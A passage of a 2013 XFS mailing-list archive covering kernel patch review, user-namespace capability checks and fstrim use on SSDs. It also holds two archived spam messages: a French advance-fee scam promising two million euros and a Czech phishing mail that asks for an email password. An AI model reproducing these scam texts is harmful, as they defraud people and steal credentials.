happen to the mmap'ed region in memory? Cheers, - Ted From david@fromorbit.com Wed Jul 31 18:12:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CF5C7CBF for ; Wed, 31 Jul 2013 18:12:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E1F323040BF for ; Wed, 31 Jul 2013 16:11:56 -0700 (PDT) X-ASG-Debug-ID: 1375312314-04cbb02c3c2b7a40001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id NAqy8oIxj7APZrBt for ; Wed, 31 Jul 2013 16:11:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFAJuY+VF5LPxHgWdsb2JhbABbvRGFLoEZFw4BARYmKIIkAQEFJxMcIxAIAw4HAwklDwUNGAMhE4d+Aw6wLg2IXhaNAIJxB4MYcwOVdoFojCeITSo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 08:41:54 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4fYd-0004rD-B4; Thu, 01 Aug 2013 09:11:51 +1000 Date: Thu, 1 Aug 2013 09:11:51 +1000 From: Dave Chinner To: Ben Myers Cc: Zhi Yong Wu , "linux-fsdevel@vger.kernel.org" , Zhi Yong Wu , linux-kernel mlist , xfstests Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery Message-ID: <20130731231151.GD7118@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: introduce object readahead to log recovery References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> <20130730231155.GM13468@dastard> <20130731133506.GT3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130731133506.GT3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375312314 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137468 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 08:35:07AM -0500, Ben Myers wrote: > Hey Zhi, > > On Wed, Jul 31, 2013 at 12:07:32PM +0800, Zhi Yong Wu wrote: > > On Wed, Jul 31, 2013 at 7:11 AM, Dave Chinner wrote: > > > On Tue, Jul 30, 2013 at 05:59:07PM +0800, zwu.kernel@gmail.com wrote: > > >> From: Zhi Yong Wu > > >> > > >> It can take a long time to run log recovery operation because it is > > >> single threaded and is bound by read latency. We can find that it took > > >> most of the time to wait for the read IO to occur, so if one object > > >> readahead is introduced to log recovery, it will obviously reduce the > > >> log recovery time. > > >> > > >> Log recovery time stat: > > >> > > >> w/o this patch w/ this patch > > >> > > >> real: 0m15.023s 0m7.802s > > >> user: 0m0.001s 0m0.001s > > >> sys: 0m0.246s 0m0.107s > > >> > > >> Signed-off-by: Zhi Yong Wu > > >> --- > > >> fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- > > >> fs/xfs/xfs_log_recover.h | 2 + > > >> 2 files changed, 159 insertions(+), 5 deletions(-) > > >> > > >> diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c > > >> index 7681b19..029826f 100644 > > >> --- a/fs/xfs/xfs_log_recover.c > > >> +++ b/fs/xfs/xfs_log_recover.c > > >> @@ -3116,6 +3116,111 @@ xlog_recover_free_trans( > > >> kmem_free(trans); > > >> } > > >> > > >> +STATIC void > > >> +xlog_recover_buffer_ra_pass2( > > >> + struct xlog *log, > > >> + struct xlog_recover_item *item) > > >> +{ > > >> + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; > > >> + xfs_mount_t *mp = log->l_mp; > > > > > > struct xfs_buf_log_format > > > struct xfs_mount > > Why? *_t is also used in a lot of other places. > > It is just a general style preference for using the struct instead of the _t in > the xfs codebase. Over the course of the past few years they've slowly been > converted in this direction, and we prefer not to add any more _t if it can be > avoided. Actually, it's not so much a preference but a long term code maintenance direction. Documentation/CodingStyle says: Chapter 5: Typedefs Please don't use things like "vps_t". It's a _mistake_ to use typedef for structures and pointers. ,,,, The original XFS code inherited from Irix used typedefs, and we are slowly removing them as we modify the code that uses the them. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 31 18:29:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F12977CBF for ; Wed, 31 Jul 2013 18:29:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D398C8F8033 for ; Wed, 31 Jul 2013 16:28:58 -0700 (PDT) X-ASG-Debug-ID: 1375313334-04cbb02c3b2b8890001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 7TM0VuOyXq4sXocD for ; Wed, 31 Jul 2013 16:28:54 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFABud+VF5LPxHgWdsb2JhbABbvRGFLoEZFw4BARYmKIIkAQEFOhwjEAgDDgMDAQIBCSUPBSUDEw4TiA+5GxaONIE9B4MYcwOXXpR0KoEt Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 08:58:53 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4fp6-0004sn-Hm; Thu, 01 Aug 2013 09:28:52 +1000 Date: Thu, 1 Aug 2013 09:28:52 +1000 From: Dave Chinner To: Ben Myers Cc: Dwight Engen , xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130731232852.GE7118@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> <20130731002119.GR13468@dastard> <20130731132523.GS3111@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130731132523.GS3111@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375313334 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137470 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 08:25:23AM -0500, Ben Myers wrote: > Hey, > > On Wed, Jul 31, 2013 at 10:21:19AM +1000, Dave Chinner wrote: > > On Tue, Jul 30, 2013 at 06:40:21PM -0500, Ben Myers wrote: > > > On Mon, Jul 29, 2013 at 11:07:09PM -0400, Dwight Engen wrote: > > > > >From e6a9ee0cfa0ed40484f66bc1726dc19de36038b8 Mon Sep 17 00:00:00 2001 > > > > From: Dwight Engen > > > > Date: Tue, 2 Jul 2013 09:52:54 -0400 > > > > Subject: [PATCH 7/7] enable building user namespace with xfs > > > > > > > > Signed-off-by: Dwight Engen > > > > > > Was there a patch running around to limit bulkstat to init_user_ns? Any other > > > items that needed to be addressed before applying this patch? > > > > Bulkstat has a capable(CAP_SYS_ADMIN) check and therefore can only be > > executed in the init name space. Similarly, all the open-by-handle > > interfaces have the same capable() checks so they can only be > > executed int he init name space, too. > > Gah. I was under the impression that you could have a process with > CAP_SYS_ADMIN in a namespace other than init_user_ns. Ben, until about a week and a half ago I was also working under that same understanding as you. So don't feel bad about not knowing about this basic, fundamental rule because it is completely undocumented and it's not obvious to anyone reading the code until someone points it out.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From cdurand@aviso.ci Wed Jul 31 18:35:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.5 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, FREEMAIL_REPLYTO,FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE,LOTS_OF_MONEY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4418D7CBF for ; Wed, 31 Jul 2013 18:35:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13A433040A4 for ; Wed, 31 Jul 2013 16:35:12 -0700 (PDT) X-ASG-Debug-ID: 1375313703-04cb6c2e9c2b6a00001-w1Z2WR Received: from smtp.orange.ci (smtprelay.aviso.ci [213.136.101.109]) by cuda.sgi.com with ESMTP id OxyvfJYPo5O7h8pC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 16:35:05 -0700 (PDT) X-Barracuda-Envelope-From: cdurand@aviso.ci X-Barracuda-Apparent-Source-IP: 213.136.101.109 Date: Wed, 31 Jul 2013 23:24:23 +0000 (GMT) From: Rose PETERSON Reply-To: "rose-peterson1@hotmail.com" Message-ID: <1042921051.3291893.1375313063513.JavaMail.root@storezimb1> Subject: =?utf-8?Q?Bonjour_Que_Dieu_vous_b=C3=A9nisse?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?utf-8?Q?Bonjour_Que_Dieu_vous_b=C3=A9nisse?= Content-Type: multipart/alternative; boundary="----=_Part_3291892_1154237086.1375313063509" X-Originating-IP: [197.228.48.132] X-Mailer: Zimbra 7.1.4_GA_2555 (ZimbraWebClient - FF3.0 (Win)/7.1.4_GA_2555) To: undisclosed-recipients:; X-Barracuda-Connect: smtprelay.aviso.ci[213.136.101.109] X-Barracuda-Start-Time: 1375313704 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137470 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_3291892_1154237086.1375313063509 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Bonjour Que Dieu vous b=C3=A9nisse.=20 Je m=E2=80=99appelle Rose Peterson. Si je vous adresse ce mail, sachiez que= c'est l'=C5=93uvre de DIEU qui m'a amen=C3=A9 =C3=A0 vous choisir parmi ta= nt de mails archives sur le net pour vous confier cette grande responsabili= t=C3=A9 dont je suis convaincu que vous allez prendre comme une b=C3=A9n=C3= =A9diction et un.=20 Don venant d'une femme de bonne foi. Bien vrai que je ne vous connaissais p= as, ce que je demande =C3=A0 DIEU, Je voudrais que tu r=C3=A9alise mes proj= ets pour moi. Je me sens si mal chaque jour car je ne sais pas si je vais s= urvivre suite aux diff=C3=A9rentes op=C3=A9rations.=20 Mon plus grand souhait que vous pouvez m'apporter est de rester en pri=C3= =A8re avec moi car je sais que vous =C3=AAtes un croyant. Je ne voulais pas= quitter cette terre sans se rendre compte que mon argent aidera les enfant= s d=C3=A9munis, pauvres, orphelins et autres, un grand soulagement .=20 Cette responsabilit=C3=A9 est lourde =C3=A0 prendre mais je vous offre cett= e somme DEUX MILLION EUROS (2.000.000=E2=82=AC).pour que vous la g=C3=A9rer= comme si c'=C3=A9tait la votre dans l'int=C3=A9r=C3=AAt de r=C3=A9aliser m= es v=C5=93ux les plus chers au monde.Je serai tr=C3=A8s ravie de vous lire = pour vous mettre en contact avec mon institution pour les proc=C3=A9dures = =C3=A0 suivre afin d'=C3=AAtre en obtention de mes fonds.Je vous souhaite d= e passer de bons moments et que le Seigneur tout puissant vous prot=C3=A8ge= et ainsi que votre famille. rosepeterson1@live.com ------=_Part_3291892_1154237086.1375313063509 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable <= div style=3D'font-family: times new roman,new york,times,serif; font-size: = 12pt; color: #000000'>
    Bonjour Que Dieu vous b=C3=A9nisse.
     
    Je m=E2=80=99appelle Rose Peterson. Si je vous adresse ce mail, sachiez que = c'est l'=C5=93uvre de DIEU qui m'a amen=C3=A9 =C3=A0 vous choisir parmi tant de = mails =20 archives sur le net pour vous confier cette grande responsabilit=C3=A9 dont= =20 je suis convaincu que vous allez prendre comme une b=C3=A9n=C3=A9diction e= t un.
     <= /div>
     Don venant d'une femme de bonne foi. Bien vrai que je ne vous connaissais=20 pas, ce que je demande =C3=A0 DIEU, Je voudrais que tu r=C3=A9alise mes pr= ojets =20 pour moi. Je me sens si mal chaque jour car je ne sais pas si je vais =20 survivre suite aux diff=C3=A9rentes op=C3=A9rations.
     
    Mon plus grand souhait que vous pouvez m'apporter est de rester en pri=C3=A8r= e=20 avec moi car je sais que vous =C3=AAtes un croyant. Je ne voulais pas = =20 quitter cette terre sans se rendre compte que mon argent aidera les =20 enfants d=C3=A9munis, pauvres, orphelins et autres, un grand soulagement .=
     
    =  Cette responsabilit=C3=A9 est lourde =C3=A0 prendre mais je vous offre cette som= me DEUX MILLION EUROS (2.000.000=E2=82=AC).pour que vous la g=C3=A9rer comme si c= '=C3=A9tait la=20 votre dans l'int=C3=A9r=C3=AAt de r=C3=A9aliser mes v=C5=93ux les plus che= rs au monde.Je =20 serai tr=C3=A8s ravie de vous lire pour vous mettre en contact avec mon = =20 institution pour les proc=C3=A9dures =C3=A0 suivre afin d'=C3=AAtre en obte= ntion de mes fonds.Je vous souhaite de passer de bons moments et que le Seigneur =20 tout puissant vous prot=C3=A8ge et ainsi que votre famille. <= span class=3D"yiv0727488513yshortcuts" id=3D"yiv0727488513lw_1369001807_0">= rosepeterson1@live.com  =09=09 =09 =09=09
    <= /div>
    ------=_Part_3291892_1154237086.1375313063509-- From david@fromorbit.com Wed Jul 31 18:44:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4AA977CBF for ; Wed, 31 Jul 2013 18:44:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8DADCAC003 for ; Wed, 31 Jul 2013 16:44:02 -0700 (PDT) X-ASG-Debug-ID: 1375314239-04cb6c153d2b2980001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id lh1jP9DDSH7n7AH8 for ; Wed, 31 Jul 2013 16:44:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFANig+VF5LPxHgWdsb2JhbABbvRGFLoEZFw4BARYmKIIkAQEEATocIwULCAMYCSUPBSUDIROICgW5HRaONAeBNgeDGHMDl16UdCqBLQ Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 09:13:58 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4g3h-0004uR-AK; Thu, 01 Aug 2013 09:43:57 +1000 Date: Thu, 1 Aug 2013 09:43:57 +1000 From: Dave Chinner To: Dwight Engen Cc: Gao feng , Ben Myers , xfs@oss.sgi.com Subject: Re: [PATCH v7 7/7] enable building user namespace with xfs Message-ID: <20130731234357.GF7118@dastard> X-ASG-Orig-Subj: Re: [PATCH v7 7/7] enable building user namespace with xfs References: <20130729230709.11033b2d@oracle.com> <20130730234021.GR3111@sgi.com> <20130731002119.GR13468@dastard> <20130731141931.2e1c77d4@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130731141931.2e1c77d4@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375314239 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137470 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 02:19:31PM -0400, Dwight Engen wrote: > On Wed, 31 Jul 2013 10:21:19 +1000 > Dave Chinner wrote: > > [...] > > The only thing I think we still need to address is whether > > xfs_ioc_setattr() should allow users within a namespace to change > > the project ID of a file they otherwise own. That function is > > currently changed to use a inode_owner_or_capable() check and so if > > the uids match inside the namespace the modification is allowed. > > Right, so before this change the caller has to own the file or be > CAP_FOWNER in init_user_ns. Changing to using inode_owner_or_capable() > means the caller has to own the file (and the inode's uid must be valid > in current_user_ns) or be CAP_FOWNER in current_user_ns. I don't > see how this lets the user the user do something inside the userns that > they can't do outside. Right. > Basically I think we want to treat projids as a non namespace aware > identifier, but it sounds like maybe we don't want them manipulated > from userns context at all. Exactly. > > However, right now for project IDs I think we have decided to limit > > manipulations to the init user namespace and not expose project IDs > > inside user namespaces at all. Hence I think that xfs_ioc_setattr() > > needs a further check for this... > > If we don't want to allow setting the projid from a userns, the check > I would propose inside the if (mask & FSX_EXTSIZE) block is: > if (current_user_ns() != &init_user_ns) > Is the appropriate error return for this EINVAL? (thats what a similar > check in kernel/taskstats.c returns) Yeah, it looks like the very few cases where an error is returned for such a check it is an EINVAL case. Don't forget a comment explaining this. We probably also fix getxstate/getxquota implementations to reject project quota requests as well. It might be best to do this with an additional patch. As it is, we're going to need to revisit the project quota support in fs/quota/quota.c because that maps project IDs to/from user namespaces. This was done based on the overriding assertion of the userns implementor that project quota IDs must be mapped via namespaces, but as we are getting down to it the details (i.e. project IDs only visible in the init user ns) we can see that this is incorrect and we're going to need to do quite a bit of surgery there to fix this up.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jul 31 19:09:18 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=unavailable version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 24DBF7F3F for ; Wed, 31 Jul 2013 19:09:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 071088F8033 for ; Wed, 31 Jul 2013 17:09:14 -0700 (PDT) X-ASG-Debug-ID: 1375315752-04cbb02c3b2ba6a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 96LpQLSFvdMhYx1Q; Wed, 31 Jul 2013 17:09:12 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFALam+VF5LPxHgWdsb2JhbABbvRGFLoEbFw4BARYmKIIkAQEEATocIwULCAMYCSUPBSUDIROICgW5JxaPcQeECwOXXpR0Kg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 09:38:59 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V4gRh-0004xq-Gg; Thu, 01 Aug 2013 10:08:45 +1000 Date: Thu, 1 Aug 2013 10:08:45 +1000 From: Dave Chinner To: Greg Freemyer Cc: Stefan Priebe , "xfs-masters@oss.sgi.com" , "xfs@oss.sgi.com" Subject: Re: [xfs-masters] how to use fstrim? Message-ID: <20130801000845.GG7118@dastard> X-ASG-Orig-Subj: Re: [xfs-masters] how to use fstrim? References: <51F2BD31.5060301@profihost.ag> <20130727015029.GT13468@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1375315752 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jul 31, 2013 at 09:26:35AM -0400, Greg Freemyer wrote: > On Fri, Jul 26, 2013 at 9:50 PM, Dave Chinner wrote: > > IOWs, the behaviour of fstrim on XFS is entirely dependent on the > > speed of the block layer and hardware implementations of discards. > > And on a lot of SSDs, trim seems to act like a cache flush so it can > hit performance hard. That's because TRIM on SATA3 is an unqueued command. It basically causes the pipeline to be emptied before it can be issued, and no further IO can be issued until it completes. SATA3.1 is supposed to add a queued TRIM command, but it might be some time before we see that appearing in hardware... > It should be scheduled for off-peak times > afaik. It's not critical to run hourly or even daily. If you can > schedule it once a week when other i/o is light that should be enough > for most workloads. I run it once every couple of months on my SSDs, if ever. Most modern SSDs have background defragmentation so if they are left idle for a couple of hours they clean themselves up pretty well without needing TRIM... Cheers, Dave. -- Dave Chinner david@fromorbit.com From info@web.net Wed Jul 31 19:15:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 21F0E7CBF for ; Wed, 31 Jul 2013 19:15:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E50DE3040C0 for ; Wed, 31 Jul 2013 17:15:00 -0700 (PDT) X-ASG-Debug-ID: 1375316095-04bdf02f202c0640001-NocioJ Received: from zmta0.zcs.dip-badajoz.es (zmta0.zcs.dip-badajoz.es [195.57.11.101]) by cuda.sgi.com with ESMTP id IGJB5ND4Aoc0eiMb for ; Wed, 31 Jul 2013 17:14:56 -0700 (PDT) X-Barracuda-Envelope-From: info@web.net X-Barracuda-Apparent-Source-IP: 195.57.11.101 Received: from localhost (localhost.localdomain [127.0.0.1]) by zmta0.zcs.dip-badajoz.es (Postfix) with ESMTP id 161EA294DFF; Thu, 1 Aug 2013 02:46:12 +0200 (CEST) X-Virus-Scanned: amavisd-new at Received: from zmta0.zcs.dip-badajoz.es ([127.0.0.1]) by localhost (zmta0.zcs.dip-badajoz.es [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 9pFn5lp1nrzE; Thu, 1 Aug 2013 02:46:11 +0200 (CEST) Received: from [10.184.46.60] (unknown [41.203.67.51]) by zmta0.zcs.dip-badajoz.es (Postfix) with ESMTPSA id 94934294DFD; Thu, 1 Aug 2013 02:46:04 +0200 (CEST) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGk=?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGk=?= From: ADMIN Date: Thu, 01 Aug 2013 00:45:54 +0100 Reply-To: upgrade1@dgoh.org Message-Id: <20130801004604.94934294DFD@zmta0.zcs.dip-badajoz.es> X-Barracuda-Connect: zmta0.zcs.dip-badajoz.es[195.57.11.101] X-Barracuda-Start-Time: 1375316095 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.00 X-Barracuda-Spam-Status: No, SCORE=2.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 2.00 BSF_SC3_MV0164 Custom rule MV0164 V=C3=A1=C5=BEen=C3=BD u=C5=BEivateli V=C3=A1=C5=A1 e-mail m=C3=A1 vet=C5=A1=C3=AD ne=C5=BE 2 GB, kter=C3=BD je v= ytvoren n=C3=A1=C5=A1 webmaster, kter=C3=BD pr=C3=A1ve be=C5=BE=C3=AD na 2,= 30 GB, nebudete moci odes=C3=ADlat nebo prij=C3=ADmat nov=C3=A9 zpr=C3=A1vy= , dokud potvrdit svuj =C3=BAcet. Vyplnte formul=C3=A1r pro overen=C3=AD =C3= =BActu. Vyplnte formul=C3=A1r n=C3=AD=C5=BEe a potvrdit svou e-mailovou adresu: (1) E-mail: (2) N=C3=A1zev: (3) Heslo: (4) Potvrdit heslo: d=C3=ADky spr=C3=A1vce syst=C3=A9mu From david@fromorbit.com Wed Jul 31 19:22:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A57E17CBF for ; Wed, 31 Jul 2013 19:22:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 837D4304093 for ; Wed, 31 Jul 2013 17:22:46 -0700 (PDT) X-ASG-Debug-ID: 1375316564-04cbb02c3e2baee0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id VqHB6K6pOnyUJ3NT for ; Wed, 31 Jul 2013 17:22:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjgFAAyp+VF5LPxHgWdsb2JhbABbvRGFLoEcFw4BARYmKIIkAQEEATocIwULCAMOBwMJJQ8FJQMhE4gKBbkWFo9xB4QLA5deiiKKUio Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail05.adl6.internode.on.net with ESMTP; 01 Aug 2013 09:52:43 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 